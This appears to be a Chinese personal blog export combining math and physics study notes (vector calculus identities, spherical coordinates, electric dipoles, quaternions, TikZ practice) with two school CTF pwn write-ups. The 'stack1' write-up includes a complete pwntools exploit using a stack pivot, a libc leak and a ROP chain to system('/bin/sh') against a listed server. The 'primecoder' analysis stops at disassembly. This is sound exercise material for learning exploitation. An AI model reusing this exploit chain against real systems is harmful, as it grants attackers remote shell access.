vscode编辑器的语法高亮储存在 .tmLanguage.json 文件中，可以在电脑中搜索 markdown.tmLanguage.json ，我们只需要在latex高亮的提示词前面加上tikz即可。

重启vscode，就可以看到了高亮的代码了。成果图如下

数理杂记

2024-03-06T10:56:51.000Z

数理杂记

$\nabla$ 运算规则推导

\boldsymbol{def}\quad \varphi, \phi 为标量函数, \boldsymbol{f},\boldsymbol{g} 为矢量函数

注意由 $\nabla$ 算符的微分性和矢量性，可像正常求导一样写出下一步，在进行矢量运算

\begin{align} \nabla (\varphi \phi)&=\nabla (\varphi_c \phi)+\nabla(\varphi\phi_c) \\&=\varphi\nabla\phi+\phi\nabla\varphi \end{align}

\begin{align} \nabla \cdot(\varphi \boldsymbol{f})&=\nabla \cdot(\varphi_c \boldsymbol{f})+\nabla \cdot(\varphi \boldsymbol{f}_c) \\&=\varphi \nabla \cdot \boldsymbol{f}+\nabla \varphi \cdot \boldsymbol{f} \end{align}

\begin{align} \nabla \times (\varphi \boldsymbol{f})&=\nabla \times (\varphi_c \boldsymbol{f})+\nabla \times (\varphi \boldsymbol{f}_c) \\&=\varphi \nabla\times \boldsymbol{f}+\nabla \varphi\times \boldsymbol{f} \end{align}

\begin{align} \nabla \cdot (\boldsymbol{f}\times \boldsymbol{g})&=\nabla\cdot(\boldsymbol{f}_c\times \boldsymbol{g})+\nabla\cdot(\boldsymbol{f}\times \boldsymbol{g}_c)\\&=-\boldsymbol{f}_c\cdot(\nabla\times \boldsymbol{g})+\boldsymbol{g}_c(\nabla\times \boldsymbol{f})\\&=-\boldsymbol{f}\cdot(\nabla\times \boldsymbol{g})+\boldsymbol{g}\cdot(\nabla\times \boldsymbol{f}) \end{align}

注意这个式子第二步化简是用混合积的轮换对称性，将 $\nabla$ 作用在该作用的地方，不要出现 $\nabla$ 作用在最右边，如 $\boldsymbol{f}\cdot(\boldsymbol{g}\times \nabla)$

\begin{align} \nabla\times (\boldsymbol{f}\times \boldsymbol{g})&=\nabla \times (\boldsymbol{f}_c\times \boldsymbol{g})+\nabla\times (\boldsymbol{f}\times \boldsymbol{g}_c)\\&=(\nabla \cdot\boldsymbol{g})\boldsymbol{f}_c-(\boldsymbol{f}_c\cdot\nabla)\boldsymbol{g}+(\boldsymbol{g}_c\cdot\nabla)\boldsymbol{f}-(\nabla\cdot \boldsymbol{f})\boldsymbol{g}_c\\&= (\nabla \cdot\boldsymbol{g})\boldsymbol{f}-(\boldsymbol{f}\cdot\nabla)\boldsymbol{g}+(\boldsymbol{g}\cdot\nabla)\boldsymbol{f}-(\nabla\cdot \boldsymbol{f})\boldsymbol{g} \end{align}

注意上面最后一个式子前两项由 $\nabla \times (\boldsymbol{f}_c\times \boldsymbol{g})$ 展开，后两项由 $\nabla\times (\boldsymbol{f}\times \boldsymbol{g}_c)$ 展开

下面化简如下式子 $\nabla(\boldsymbol{f}\cdot \boldsymbol{g})$ ，需要有一个引例

由矢量运算可知

\boldsymbol{A}\times (\boldsymbol{B}\times \boldsymbol{C})=(\boldsymbol{A}\cdot \boldsymbol{C})\boldsymbol{B}-(\boldsymbol{A}\cdot \boldsymbol{B})\boldsymbol{C}

那么就有

\boldsymbol{B}(\boldsymbol{A}\cdot \boldsymbol{C})=\boldsymbol{A}\times (\boldsymbol{B}\times \boldsymbol{C})+(\boldsymbol{A}\cdot \boldsymbol{B})\boldsymbol{C}

将上式 $\boldsymbol{C}=\nabla$ 即可得到下述式子

\begin{align} \nabla(\boldsymbol{f}\cdot\boldsymbol{g})&=\nabla(\boldsymbol{f}_c\cdot \boldsymbol{g})+\nabla(\boldsymbol{f}\cdot \boldsymbol{g}_c)\\&=\boldsymbol{f}_c\times (\nabla\times \boldsymbol{g})+(\boldsymbol{f}_c\cdot \nabla)\boldsymbol{g}+\boldsymbol{g}_c\times (\nabla\times \boldsymbol{f})+(\boldsymbol{g}\cdot \nabla)\boldsymbol{f}\\&=\boldsymbol{f}\times (\nabla\times \boldsymbol{g})+(\boldsymbol{f}\cdot \nabla)\boldsymbol{g}+\boldsymbol{g}\times (\nabla\times \boldsymbol{f})+(\boldsymbol{g}\cdot \nabla)\boldsymbol{f} \end{align}

球坐标系与直角坐标系的变换

坐标变换

直角系到球坐标系

\begin{align} x&=r\sin \theta \cos \phi \\ y&=r \sin \theta \sin \phi \\ z&=r \cos \theta \end{align}

球坐标系到直角坐标系

\begin{align} r&=\sqrt{x^2+y^2+z^2} \\ \theta &=\arccos \frac{z}{\sqrt{x^2+y^2+z^2}} \\ \phi &= \arctan \frac{y}{x} \end{align}

基矢变换

写出 $(\boldsymbol{\hat{r}},\boldsymbol{\hat{\theta}},\boldsymbol{\hat{\phi}})$ 在 $(\boldsymbol{\hat{x}},\boldsymbol{\hat{y}},\boldsymbol{\hat{z}})$ 下的坐标

\begin{align} \boldsymbol{\hat{r}}&=(1,\theta,\phi) \\ \boldsymbol{\hat{\theta}}&=(1,\theta+\frac{\pi}{2},\phi) \\ \boldsymbol{\hat{\phi}}&=(1,\frac{\pi}{2},\phi+\frac{\pi}{2}) \end{align}

由此，可以由坐标变换写出 $(\boldsymbol{\hat{r}},\boldsymbol{\hat{\theta}},\boldsymbol{\hat{\phi}})$ 到 $(\boldsymbol{\hat{x}},\boldsymbol{\hat{y}},\boldsymbol{\hat{z}})$ 的变换矩阵

\begin{pmatrix} \boldsymbol{\hat{r}} \\ \boldsymbol{\hat{\theta}} \\ \boldsymbol{\hat{\phi}} \\\end{pmatrix} = \begin{pmatrix} \sin \theta \cos \phi & \sin \theta \sin \phi & \cos \theta \\ \cos \theta \cos \phi & \cos \theta \sin \phi & -\sin \theta \\ -\sin \phi & \cos \phi & 0 \\\end{pmatrix} \begin{pmatrix} \boldsymbol{\hat{x}} \\ \boldsymbol{\hat{y}} \\ \boldsymbol{\hat{z}} \\\end{pmatrix}

要求从 $(\boldsymbol{\hat{x}},\boldsymbol{\hat{y}},\boldsymbol{\hat{z}})$ 到 $(\boldsymbol{\hat{r}},\boldsymbol{\hat{\theta}},\boldsymbol{\hat{\phi}})$ 的变换，即求上述矩阵的逆

由于该矩阵式正交的，所以 $A^{-1}=A^{\mathrm{T}}$ （通俗易懂：什么是正交矩阵）

则有

\begin{pmatrix} \boldsymbol{\hat{x}} \\ \boldsymbol{\hat{y}} \\ \boldsymbol{\hat{z}} \\\end{pmatrix}=\begin{pmatrix} \sin \theta \cos \phi & \cos \theta \cos \phi & -\sin \phi \\ \sin \theta \sin \phi & \cos \theta \sin \phi & \cos \phi \\ \cos \theta & -\sin \theta & 0 \\\end{pmatrix} \begin{pmatrix} \boldsymbol{\hat{r}} \\ \boldsymbol{\hat{\theta}} \\ \boldsymbol{\hat{\phi}} \\\end{pmatrix}

三维正交曲线坐标系 $(u,v,w)$ 的梯度、散度、旋度

前置内容

现在我们用 $(u,v,w)$ 来代替直角坐标系中的 $(x, y, z)$ 、球坐标系中的 $(r,\theta,\phi)$ 、柱坐标系的 $(s,\theta,z)$ ，以得到普遍性的结果。其中这三个单位矢量正交，且 $\boldsymbol{\hat{u}},\boldsymbol{\hat{v}},\boldsymbol{\hat{w}}$ 指坐标增加的方向。值得注意的是，这三个单位矢量都是位置的函数，因为其方向随坐标的变化而变化。由此，我们可以给出从 $(u,v,w)$ 到 $(u+\mathrm{d}u,v+\mathrm{d}v,w+\mathrm{d}w)$ 的无穷小位移

\mathrm{d}\boldsymbol{l}=f\mathrm{d}u \boldsymbol{\hat{u}}+g\mathrm{d}v \boldsymbol{\hat{v}}+h\mathrm{d}w \boldsymbol{\hat{w}}

其中 $f,g,h$ 是描述单位矢量随坐标变化的函数。

提示例如，直角坐标系是 $(1,1,1)$ ，而球坐标系是 $(1,r,r\sin \theta)$

梯度

现在假设有一个标量场 $t(u,v,w)$ ，当有一个点位移了一个 $\mathrm{d}\boldsymbol{l}$ 时，标量场 $t$ 有变化

\mathrm{d}t=\frac{\partial t}{\partial u}\mathrm{d}u+\frac{\partial t}{\partial v}\mathrm{d}v+\frac{\partial t}{\partial w}\mathrm{d}w

由梯度的定义可知，

\mathrm{d}t=\nabla t \cdot \mathrm{d}\boldsymbol{l}=(\nabla t)_u f\mathrm{d}u+(\nabla t)_v g\mathrm{d}v+(\nabla t)_w h\mathrm{d}w

其中 $(\nabla t)_u$ 为 $t$ 的梯度在 $\boldsymbol{\hat{u}}$ 方向的分量

对比前两式，我们可得

(\nabla t)_u=\frac{1}{f}\frac{\partial t}{\partial u},\quad(\nabla t)_v=\frac{1}{g}\frac{\partial t}{\partial v},\quad(\nabla t)_w=\frac{1}{h}\frac{\partial t}{\partial w}

即梯度为

\nabla t=\frac{1}{f}\frac{\partial t}{\partial u}\boldsymbol{\hat{u}}+\frac{1}{g}\frac{\partial t}{\partial v}\boldsymbol{\hat{v}}+\frac{1}{h}\frac{\partial t}{\partial w}\boldsymbol{\hat{w}}

散度

现在假定有一个矢量场 $\boldsymbol{A}(u,v,w)=A_u \boldsymbol{\hat{u}}+A_v \boldsymbol{\hat{v}}+A_w \boldsymbol{\hat{w}}$

由散度定理可得，

\oint \boldsymbol{A}\cdot \mathrm{d}\boldsymbol{a}=\int \nabla \cdot \boldsymbol{A} \mathrm{d}\tau

有正交性可知，一无限小体元近似于一正方体。我们取一小体元及其表面分析，

小体元的三个边长为

\begin{align} \mathrm{d}l_u&=f\mathrm{d}u\\\mathrm{d}l_v&=g\mathrm{d}v\\\mathrm{d}l_w&=h\mathrm{d}w \end{align}

由此易知体元体积 $\mathrm{d}\tau$

\mathrm{d}\tau=(fgh) \mathrm{d}u \mathrm{d}v \mathrm{d}w

和前面面元矢量

\mathrm{d}\boldsymbol{a}=-(gh)\mathrm{d}v\mathrm{d}w

则前面的通量为

\boldsymbol{A}\cdot \mathrm{d}\boldsymbol{a}=-(ghA_u)\mathrm{d}v\mathrm{d}w

由于 $A_u,g,h$ 都是关于位置 $(u,v,w)$ 的函数，因此其前后面不一样，要一起算偏微分。前后两面的通量为

\frac{\partial (ghA_u)}{\partial u}\mathrm{d}u \mathrm{d}v\mathrm{d}w=\frac{1}{fgh}\frac{\partial (ghA_u)}{\partial u}\mathrm{d}\tau

对左右、上下侧面做此操作，则可以得

\oint \boldsymbol{A}\cdot \mathrm{d}\boldsymbol{a}=\int \frac{1}{fgh}\left(\frac{\partial (ghA_u)}{\partial u}+\frac{\partial (fhA_v)}{\partial v}+\frac{\partial (fgA_w)}{\partial w} \right)\mathrm{d}\tau

那么 $\boldsymbol{A}$ 的散度即为

\nabla \cdot \boldsymbol{A}=\frac{1}{fgh}\left(\frac{\partial (ghA_u)}{\partial u}+\frac{\partial (fhA_v)}{\partial v}+\frac{\partial (fgA_w)}{\partial w} \right)

旋度

电偶极子

电偶极子在 $(r,\theta)$ 产生的电势、电场

\begin{align} \varphi&=\frac{q}{4\pi \varepsilon_0} \left(\frac{1}{\sqrt{r^2+\frac{l^2}{4}-rl\cos\theta}}-\frac{1}{\sqrt{r^2+\frac{l^2}{4}+rl\cos\theta}}\right) \\&=\frac{q}{4\pi \varepsilon_0r}\left(1+\frac{l}{2r}\cos\theta-1+\frac{l}{2r}\cos\theta \right)\\&=\frac{q}{4\pi\varepsilon_0r}\cdot \frac{l\cos\theta}{r}\\&=\frac{\boldsymbol{p}\cdot \boldsymbol{\hat{r}}}{4\pi\varepsilon_0r^2} \end{align}

\boldsymbol{E_r}=-\frac{\partial \varphi}{\partial r} = \frac{\boldsymbol{p}\cdot \boldsymbol{\hat{r}}}{2\pi\varepsilon_0r^3}

\begin{align} \boldsymbol{E_\theta}&=-\frac{\partial \varphi}{r\partial \theta} \\ &=\frac{p \sin\theta}{4\pi\varepsilon_0r^3}\\ &=\frac{(\boldsymbol{p}\times \boldsymbol{\hat{r}})\times \boldsymbol{\hat{r}}}{4\pi\varepsilon_0r^3}=\frac{(\boldsymbol{p}\cdot \boldsymbol{\hat{r}})\boldsymbol{\hat{r}}-\boldsymbol{p}}{4\pi\varepsilon_0r^3} \end{align}

电偶极子在外场中能量、受力、受力矩

\begin{align} E_p&=-q\varphi_- +q\varphi_- \\&=q(\varphi_+ -\varphi_-)\\&=q(\boldsymbol{l}\cdot \nabla\varphi)\\&=-\boldsymbol{p}\cdot \boldsymbol{E} \end{align}

\begin{align} \boldsymbol{F}&=-\nabla E_p \\&=\nabla(\boldsymbol{p}\cdot \boldsymbol{E})\\&=(\boldsymbol{p}\cdot \nabla)\boldsymbol{E}+\boldsymbol{p}\times (\nabla\times \boldsymbol{E})+(\boldsymbol{E}\cdot \nabla)\boldsymbol{p}+\boldsymbol{E}\times (\nabla\times \boldsymbol{p})\\&=(\boldsymbol{p}\cdot \nabla)\boldsymbol{E} \end{align}

可见，若外场均匀，则合外力为零

对于受到的力矩，可以先以偶极子中点为基点

注意下面有一个矢量图，如果使用夜晚模式可能会导致观感变差

\begin{document}
\begin{tikzpicture}
\draw[->] (2,3) -- (3,3.5);
\draw[->] (3.5,0) -- (2.5,3.25);
\node[right] at (3,1.635) {$r$};
\node[below] at (3.5,0) {$O$};
\node[above] at (2.5,3.25) {$p$};
\node[left] at (2,3) {$-$};
\node[right] at (3,3.5) {$+$};
\end{tikzpicture}
\end{document}

\begin{align} \boldsymbol{M'}&=q\left(\frac{\boldsymbol{l}}{2}\times \boldsymbol{E_+}\right)-q\left(\frac{-\boldsymbol{l}}{2}\times \boldsymbol{E_-} \right) \\&=q\left(\frac{\boldsymbol{l}}{2}\times (\boldsymbol{E_+}+\boldsymbol{E_-}) \right)\\&=\boldsymbol{p}\times \boldsymbol{E} \end{align}

再写成对任一点的形式

\begin{align} \boldsymbol{M}&=\boldsymbol{M'}+\boldsymbol{r}\times \boldsymbol{F} \\&=\boldsymbol{p}\times \boldsymbol{E}+\boldsymbol{r}\times (\boldsymbol{p}\cdot \nabla)\boldsymbol{E} \end{align}

其中 $\boldsymbol{r}$ 为偶极子相对于基点的位矢

可以看到的是，如果场是均匀的，那么其受外力矩就是 $\boldsymbol{M}=\boldsymbol{p}\times \boldsymbol{E}$

四元数(quaternions)

定义

q=s+x i+y j+ z k

其中， $i,j,k$ 的运算规则同 $\mathbb{R}^3$ 中单位向量 $\boldsymbol{i} ,\boldsymbol{j},\boldsymbol{k}$ ，即右手螺旋法则

由

\begin{align} \boldsymbol{i} \times \boldsymbol{j}&=\boldsymbol{k} \\ \boldsymbol{j}\times \boldsymbol{i} &=-\boldsymbol{k} \end{align}

则同理有

\begin{align} i j&=k \\ j i&=-k \end{align}

同时规定 $ijk=i^2=j^2=k^2=-1$

一个四元数可以记作 $q=[s,\boldsymbol{v}]$ ，即后面的纯“虚”部可以记作一个向量 $\boldsymbol{v}$

运算法则

加法、减法、数乘

形同虚数，固略

乘法

现有两个四元数

\begin{align} q_1&=s_1+x_1i+y_1j +z_1k \\ q_2&=s_2+x_2i+y_2j+z_2k \end{align}

则

\begin{align} q_1q_2=&s_1s_2+s_2(x_1i+y_1j+z_1k)+s_1(x_2i+y_2j+z_2k)\\&-x_1x_2-y_1y_2-z_1z_2\\&+x_1y_2k-y_1x_2k+y_1z_2i-z_1x_2i+z_1x_2j-x_1z_2j \end{align}

最下面那个式子类似于叉乘，即

\begin{vmatrix} x_1 & y_1 & z_1 \\ x_2 & y_2 & z_2 \\ i & j & k \\\end{vmatrix}

将实虚部分离，可以得到

q_1q_2=[s_1s_2-\boldsymbol{v_1}\cdot \boldsymbol{v_2},s_1 \boldsymbol{v_2}+s_2 \boldsymbol{v_1}+\boldsymbol{v_1}\times \boldsymbol{v_2}]

由此可以看出，四元数乘法不满足交换律

数量积

q_1\cdot q_2=s_1s_2+x_1x_2+y_1y_2+z_1z_2

共轭

若设 $q=[s,\boldsymbol{v}]$ ，则它的共轭为 $q^*=[s,-\boldsymbol{v}]$

模

\begin{align} |q|&=\sqrt{s^2+x^2+y^2+z^2} \\&=\sqrt{s^2+\boldsymbol{v}^2} \end{align}

另

qq^*=q^*q=|q|^2

单位四元数

\hat{q}=\frac{q}{|q|}

求逆

定义 $qq^{-1}=1$ ，则有下面推导

\begin{align} qq^{-1}&=1 \\ q^*qq^{-1}&=q^*\\ |q|^2q^{-1}&=q^*\\ q^{-1}&=\frac{q^*}{|q|^2} \end{align}

三维旋转

类比于二维向量旋转，我们希望构造一个单位四元数 $q$ 使得一个三维空间中的一个向量 $\boldsymbol{p}$ 绕轴 $\boldsymbol{\hat{v}}$ 旋转 $\theta$ 角到 $\boldsymbol{p'}$ ，即表达式为 $p'=q p$ （这里 $\boldsymbol{p},\boldsymbol{p'}$ 都已被换成对应的四元数，其中实部为零）

然而事实上，这并不正确，因为

\begin{align} p'&=qp \\&=[\cos\theta,\sin \theta \boldsymbol{\hat{v}}][0,\boldsymbol{p}]\\&=[-\sin \theta \boldsymbol{p}\cdot \boldsymbol{\hat{v}},\cos\theta \boldsymbol{p}+\sin \theta \boldsymbol{\hat{v}}\times \boldsymbol{p}] \end{align}

如果 $\boldsymbol{p}\not\perp \boldsymbol{\hat{v}}$ 则 $Re(p')\not=0$ ，则 $p'$ 不为纯四元数，且 $|p'|\not=|p|$

事实上可以证明，若 $\boldsymbol{p}$ 绕轴 $\boldsymbol{\hat{v}}$ 旋转 $2\theta$ 到 $\boldsymbol{p'}$ ，则需如下

\begin{align} p'&=qpq^{-1} \\ q^{-1}&=q^{*}=[\cos\theta,\sin \theta \boldsymbol{\hat{v}}] \end{align}

参考文献

Understanding Quaternions

tikz画图练习

\begin{document}
\begin{tikzpicture}
\draw[->] (0.5,5)--(5.5,5);
\draw[->] (0.5,1)--(5.5,1);
\draw[->] (0,1.5)--(0,4.5);
\draw[->] (6,1.5)--(6,4.5);
\node at (0,1) {$U^{**}$};
\node at (0,5) {$U$};
\node at (6,5) {$V$};
\node at (6,1) {$V^{**}$};
\node[above] at (3,5) {$\varphi$};
\node[below] at (3,1) {$\varphi^{**}$};
\node[left] at (0,3) {$\eta_U$};
\node[left] at (6,3) {$\eta_V$};
\node[right] at (0,3) {$\sim$};
\node[right] at (6,3) {$\sim$};
\end{tikzpicture}
\end{document}

\begin{document}
\begin{tikzpicture}
\draw[->] (0.5,5)--(5.5,5);
\draw[->] (0.5,1)--(5.5,1);
\draw[->] (0,4.5)--(0,1.5);
\draw[->] (6,4.5)--(6,1.5);
\node at (0,1) {$U^{**}$};
\node at (0,5) {$U$};
\node at (6,5) {$V$};
\node at (6,1) {$V^{**}$};
\node[above] at (3,5) {$\varphi$};
\node[below] at (3,1) {$\varphi^{**}$};
\node[left] at (0,3) {$\eta_U$};
\node[left] at (6,3) {$\eta_V$};
\node[right] at (0,3) {$\sim$};
\node[right] at (6,3) {$\sim$};
\end{tikzpicture}
\end{document}

记一道校内pwn题——stack1

2024-03-01T06:24:45.000Z

关于栈迁移的一道题

准备步骤

checksec stack1

#    Arch:     amd64-64-little
#    RELRO:    Partial RELRO
#    Stack:    No canary found
#    NX:       NX enabled
#    PIE:      No PIE (0x3fe000)

ida检查，发现漏洞，在sub_400676()中有16个字节的溢出

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 96uLL);      //溢出
  return puts(buf);
}

但这是64为程序，且溢出只能覆盖rbp和返回地址，这就导致不能一次性构造参数并调用。我们可以考虑进行栈迁移，把执行流的栈转到别的地方。

栈迁移原理

条件

栈迁移主要是针对溢出长度不够，无法进行传参（比如本题只够覆盖rbp和返回地址），但需要可以覆盖到rbp以迁移栈。

关键指令 `leave;ret;`

leave 指令可以看成两条指令 mov rsp,rbp; pop rbp; ，可以看出这条指令原本是用来还原调用函数前的栈帧的，但如果我们提前改变rbp 的值，譬如，改成比现在 rsp 地址还低的位置（即栈的高处），那么在执行语句之后栈帧就在上方，可以利用之前在栈中写入的数据（题中的 buffer ）控制程序流程了。

如果不清楚的话，可再看看这篇文章：栈迁移的原理&&实战运用

构造payload

泄露`rbp`

因为我们要修改rbp，所以我们要先知道原来rbp的值，再在其基础上进一步修改。

print(conn.recv(1))
payload1=b"a"*80
conn.send(payload1)
old_rbp_addr=int.from_bytes(conn.recv()[80:86],'little')# >

如果rbp的低位中没有\x00的话，puts就会将80个a和rbp打印出来，截取6个字符是因为64位的栈从0x7f?????????? 开始，前面有两个\x00字符，puts打印不出来

泄露libc基址

我们gdb一下

gdb stack1
b *0x0000000000400710   #这是主循环函数sub_400676()的入口
r
s                       #单步进入函数sub_400676()
n

──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
   0x400676    push   rbp
 ► 0x400677    mov    rbp, rsp
   0x40067a    sub    rsp, 0x50
   0x40067e    lea    rdx, [rbp - 0x50]
   0x400682    mov    eax, 0
   0x400687    mov    ecx, 0xa
   0x40068c    mov    rdi, rdx
   0x40068f    rep stosq qword ptr [rdi], rax
    ↓
   0x40068f    rep stosq qword ptr [rdi], rax

───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd7c0 —▸ 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741
01:0008│     0x7fffffffd7c8 —▸ 0x400715 ◂— 0xb890f0eb0274c085
02:0010│     0x7fffffffd7d0 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1'
03:0018│     0x7fffffffd7d8 ◂— 0x100000000
04:0020│ rbp 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741
05:0028│     0x7fffffffd7e8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│     0x7fffffffd7f0 ◂— 0x1
07:0038│     0x7fffffffd7f8 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1'

其中0x7fffffffd7c8 是新建栈帧返回地址所在，0x7fffffffd7c0 是原来rbp地址所在，值为0x7fffffffd7e0 再加上buffer的0x50大小，就可以计算新rbp及栈顶的位置了

now_rbp_addr=old_rbp_addr-0x20
now_esp_addr=now_rbp_addr-0x50
return_addr2=0x0000000000400710  #call            rbp_3|  rbp_2          normal_ret
payload2=p64(now_rbp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a'*(0x50-0x8*5)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload2)
puts_addr=int.from_bytes(conn.recvuntil(b'\x7f\x0a\x3e')[-8:-2],'little')

这个payload将新栈帧转到原来的栈顶并执行传参和对puts的调用

Pwn it！

计算binsh和system真实地址

libcbase=puts_addr-puts_libc
abinsh_addr=libcbase+abinsh_libc
system_addr=libcbase+system_libc

与上一步相同的方法构造新栈帧

now_ebp_addr-=56
now_esp_addr=now_ebp_addr-0x50
payload3=b'a'*8+p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a'*(0x50-0x8*4)+p64(now_esp_addr)+p64(leave_addr) #前面8个a是新的rbp，但不过这个rbp已经没用了，所以可以随便填
conn.send(payload3)
conn.interactive()

exp

from pwn import *
ip="124.16.75.117"
port=51001
conn=connect(ip,port)
#conn=process("./pwn/q29_stack1/stack1")
#conn=gdb.debug('./pwn/q29_stack1/stack1','b *0x00000000004006C4')
libc=ELF('./pwn/q29_stack1/libc.so.6')
puts_libc=libc.sym['puts']
system_libc=libc.sym['system']
abinsh_libc=libc.search(b'/bin/sh').__next__()
context.log_level="debug"

leave_addr=0x00000000004006BE
rdi_addr=0x0000000000400793
puts_got=0x0000000000601020
puts_plt=0x0000000000400530

#***************1***************
print("111111111111111111111111")
print(conn.recv(1))
payload1=b"a"*80
conn.send(payload1)
old_ebp_addr=int.from_bytes(conn.recv()[80:86],'little')# > is here
print(hex(old_ebp_addr))

#***************2***************
print("222222222222222222222222")
now_ebp_addr=old_ebp_addr-0x20
now_esp_addr=now_ebp_addr-0x50
return_addr2=0x0000000000400710  #call            ebp_3|  ebp_2          normal_ret
payload2=p64(now_ebp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a'*(0x50-0x8*5)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload2)
puts_addr=int.from_bytes(conn.recvuntil(b'\x7f\x0a\x3e')[-8:-2],'little')

libcbase=puts_addr-puts_libc
abinsh_addr=libcbase+abinsh_libc
system_addr=libcbase+system_libc
print(hex(puts_addr),hex(libcbase))


#****************3***************
print("33333333333333333333333")
now_ebp_addr-=56
now_esp_addr=now_ebp_addr-0x50
payload3=b'a'*8+p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a'*(0x50-0x8*4)+p64(now_esp_addr)+p64(leave_addr)
conn.send(payload3)
conn.interactive()

记一道校内pwn题——primecoder

2024-02-26T15:43:53.000Z

其实感觉这道题有点偏？🤔🤔🤔

大致分析检查

先走一遍流程：checksec ida

┌──(kali㉿helloeveryone)-[~/ctf/pwn/q31_primecoder]
└─$ checksec primecoder
[*] '/home/kali/ctf/pwn/q31_primecoder/primecoder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
    FORTIFY:  Enabled

在ida里F5失效，锁定那一行，分析汇编

    call rbp

结合上下文来看，应该是要在rbp处执行shellcode

程序流程分析

首先应清楚linux-amd64调用函数传参约定

入参

在参数都是小于等于 16 字节的整数/枚举/结构体时，前六个参数分别由 RDI、RSI、RDX、RCX、R8、R9 （这部分是重点，有助于看懂本题涉及代码） 传递（超过 8 字节的用连续的两个寄存器），剩下的参数用栈传递（参数在内存中的相对位置恰好和参数实际位置一致）。小于 64 位的值占用寄存器的低位，高位数据无效。
在参数都是浮点时，大致和前面一样，不同的是前八个参数用的寄存器是 xmm0～xmm7。
如果是整形和浮点混用，那么依次用整形寄存器和浮点寄存器传递，直到把这 6+8 个寄存器用完为止。
在参数存在大于 16 字节的结构体是直接用栈传递。

返回值

被调用函数的返回值是64位以内（包括64位）的整形或指针时，则返回值会被存放于 RAX，如果返回值是128位的，则高64位放入 RDX；
如果返回值是浮点值，则返回值存放在XMM0；
更大的返回值(比如结构体)，由调用方在栈上分配空间，并由 RCX 持有该空间的指针并传递给被调用函数，因此整型参数使用的寄存器依次右移一格，实际只可以利用 RDI，RSI，RDX，R8，R9，5个寄存器，其余参数通过栈传递。函数调用结束后，RAX 返回该空间的指针（即函数调用开始时的 RCX 值）。

正式分析

.text:0000000000400560 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400560                 public main
.text:0000000000400560 main            proc near               ; DATA XREF: _start+1D↓o
.text:0000000000400560
.text:0000000000400560 var_42C         = dword ptr -42Ch
.text:0000000000400560 var_41C         = qword ptr -41Ch
.text:0000000000400560
.text:0000000000400560 ; __unwind {
.text:0000000000400560                 push    r12
.text:0000000000400562                 push    rbp
.text:0000000000400563                 xor     ecx, ecx        ; n
.text:0000000000400565                 push    rbx
.text:0000000000400566                 mov     edx, 2          ; modes
.text:000000000040056B                 xor     esi, esi        ; buf
.text:000000000040056D                 xor     ebx, ebx
.text:000000000040056F                 sub     rsp, 420h
.text:0000000000400576                 mov     rdi, cs:stdin@@GLIBC_2_2_5 ; stream
.text:000000000040057D                 lea     rbp, [rsp+32]
.text:0000000000400582                 lea     r12, [rsp+28]
.text:0000000000400587                 call    _setvbuf
.text:000000000040058C                 mov     rdi, cs:__bss_start ; stream
.text:0000000000400593                 xor     ecx, ecx        ; n
.text:0000000000400595                 mov     edx, 2          ; modes
.text:000000000040059A                 xor     esi, esi        ; buf
.text:000000000040059C                 call    _setvbuf
.text:00000000004005A1                 lea     rsi, aBufferP   ; "buffer = %p.\n"
.text:00000000004005A8                 mov     rdx, rbp
.text:00000000004005AB                 mov     edi, 1
.text:00000000004005B0                 xor     eax, eax
.text:00000000004005B2                 call    ___printf_chk
.text:00000000004005B7
.text:00000000004005B7 loc_4005B7:                             ; CODE XREF: main+BF↓j
.text:00000000004005B7                 lea     rdi, format     ; "%u"
.text:00000000004005BE                 xor     eax, eax
.text:00000000004005C0                 mov     rsi, r12
.text:00000000004005C3                 call    _scanf
.text:00000000004005C8                 inc     eax
.text:00000000004005CA                 cmp     eax, 1
.text:00000000004005CD                 jbe     short loc_400621
.text:00000000004005CF                 mov     edi, [rsp+28]   ; __int64
.text:00000000004005D3                 mov     [rsp+12], edi
.text:00000000004005D7                 call    _Z6millerx      ; miller(long long)
.text:00000000004005DC                 test    al, al
.text:00000000004005DE                 mov     edx, [rsp+12]   ; edx为input
.text:00000000004005E2                 jz      short loc_400606
.text:00000000004005E4                 lea     rsi, aGoodUIsPrime ; "Good! %u is prime.\n"
.text:00000000004005EB                 mov     edi, 1
.text:00000000004005F0                 xor     eax, eax
.text:00000000004005F2                 call    ___printf_chk
.text:00000000004005F7                 mov     edx, [rsp+28]
.text:00000000004005FB                 movsxd  rax, ebx
.text:00000000004005FE                 inc     ebx             ; 循环次数
.text:0000000000400600                 mov     [rsp+rax*4+32], edx ; 第一次rax=1
.text:0000000000400604                 jmp     short loc_400619
.text:0000000000400606 ; ---------------------------------------------------------------------------
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: main+82↑j
.text:0000000000400606                 lea     rsi, aBadUIsNotPrime ; "Bad! %u is not prime.\n"
.text:000000000040060D                 mov     edi, 1
.text:0000000000400612                 xor     eax, eax
.text:0000000000400614                 call    ___printf_chk
.text:0000000000400619
.text:0000000000400619 loc_400619:                             ; CODE XREF: main+A4↑j
.text:0000000000400619                 cmp     ebx, 255
.text:000000000040061F                 jle     short loc_4005B7
.text:0000000000400621
.text:0000000000400621 loc_400621:                             ; CODE XREF: main+6D↑j
.text:0000000000400621                 call    rbp
